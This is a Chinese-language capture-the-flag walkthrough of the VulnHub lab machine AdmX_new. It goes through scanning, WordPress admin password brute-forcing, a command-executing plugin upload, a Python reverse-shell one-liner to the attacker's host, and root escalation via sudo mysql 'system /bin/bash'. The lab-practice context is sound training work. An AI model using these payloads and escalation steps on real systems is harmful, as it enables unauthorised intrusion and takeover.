VulnHub靶機-AdmX_new | 紅隊打靶
AdmX_new靶場
一、主機發現
通過nmap進行主機發現
nmap -sn 192.168.56.0/24

靶機ip:192.168.56.108
kali的ip:192.168.56.102
二、對靶機進行信息收集
1、對靶機開放的端口,運行服務,操作系統的版本進行探測
nmap -sV -p- -O 192.168.56.108

經歷一段時間的等待,發現靶機只開放了80端口,跑的是apache的http服務;操作系統判斷是Linux 4.15 - 5.6,或者Linux 5.0 - 5.4
2、對80端口進行一個nmap漏洞庫的掃描
nmap --script=vuln -p80 192.168.56.108

掃描結果顯示有/wordpress和/wordpress/wp-login.php目錄
3、使用瀏覽器對80端口進行訪問

訪問的頁面為apache的默認頁面,沒有信息可以利用,進行目錄爆破
4、對80端口進行目錄爆破,并進一步探測
gobuster dir -u http://192.168.56.108 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

發現了兩個目錄,tools和wordpress,又再一次出現了wordpress,那么可以猜測這個網站是一個wordpress的cms搭建的,拼接tools訪問,沒有權限;憑借wordpress訪問,發現的頁面不像一個cms所擁有的頁面,而且訪問速度很慢;

打開開發工具,對數據包進行檢查

發現數據包對192.168.159.145進行一個訪問,訪問的內容都是關于wordpress的一些js文件,而192.168.159.145不存在
會不會是之前在編寫代碼的時候,靶機的ip為192.168.159.145,但是現在靶機的ip改了,使用burp進行替換,將數據包的192.168.159.145換成192.168.56.108,需要將響應頭和請求體都替換。

瀏覽器重新訪問80端口的wprdpress目錄

對wordpress目錄進行目錄爆破gobuster dir -u http://192.168.56.108/wordpress -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

發現有admin目錄,指向wp-admin,那么拼接wp-admin進行訪問

來到后臺地址,嘗試一下弱口令admin admin

提示密碼錯誤,證明存在admin的用戶名
三、獲取初始shell
1、已知admin用戶名,使用弱密碼進行爆破
使用burp的自動批量發送進行爆破


利用返回長度去進行篩選

密碼為adam14
登錄

2、獲取shell
wordpress的管理員后臺有三個可以利用的地方:
a、media處的文件上傳
b、appearance的theme editor修改外觀主題,404模板,寫入反彈shell,可以更新即可以利用
c、plugins上傳插件(插件的默認位置url/wordpress/wp-admin/plugins/上傳的插件名稱)
這里先嘗試后兩個:
(1)、appearance的theme editor修改外觀主題的404模板
先判斷是否可以寫入,尾部寫入echo 123;
點擊update file
發現不能修改文件,那么嘗試第二種

(2)、plugins上傳插件
編寫一個自定義插件,寫入可以執行系統命令的代碼,這里需要注意,編寫wordpress的自定義代碼需要加注釋,這些注釋必不可少,不然wordpress不會去執行;上傳插件得進行壓縮

壓縮 zip wordpress_plugin.zip wordpress_plugin.php

上傳插件


上傳成功,點擊activate plugin,插件的默認位置url/wordpress/wp-admin/plugins/上傳的插件名稱
訪問這個插件:http://192.168.56.108/wordpress/wp-admin/plugins/wordpress_plugin.php?cmd=id

輸出了id
為什么不直接在插件里面寫入反彈shell呢?因為不知道有沒有可以利用的工具來進行反彈shell,不清楚是否有nc,python,bash等等,那么寫入可以執行系統命令的代碼,可以去查找是否存在這些工具。
存在nc,python3,bash



方法一、使用python3進行反彈shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'


獲得了初始shell
方法二、使用蟻劍連接shell
使用蟻劍連接,則插件里面的代碼需要改成一句話木馬

蟻劍連接

、
四、提權
1、第一次提權(wpadmin)
當前用戶www-date,sudo -l 沒有不用root密碼就可以執行的文件

查看自動任務 cat /etc/crontab

發現有定時任務,但是這個定時任務的目錄下,發現有文件,但是沒有權限
ls /home 發現home目錄下有一個wpadmin用戶

在wordpress目錄下有網站的配置文件,wp-config.php

cat wp-config.php, 發現有數據庫的密碼和用戶,那么嘗試連接數據庫

mysql -u admin -p Wp_Admin#123,發現不能登錄,結合前面信息收集,那么一共得到兩個密碼,使用這兩個密碼嘗試去登錄wpadmin用戶


當嘗試到adam14的時候,進入了wpadmin用戶
2、第二次提權(root)
python3 -c 'import pty;pty.spawn("/bin/bash")'
提高交互性

sudo -l 有可以提升權限的文件

輸入sudo /usr/bin/mysql -u root -D wordpress -p 進入數據庫

使用mysql自帶的system命令
system id 發現為root用戶

system /bin/bash
提升為root權限
拿到flag
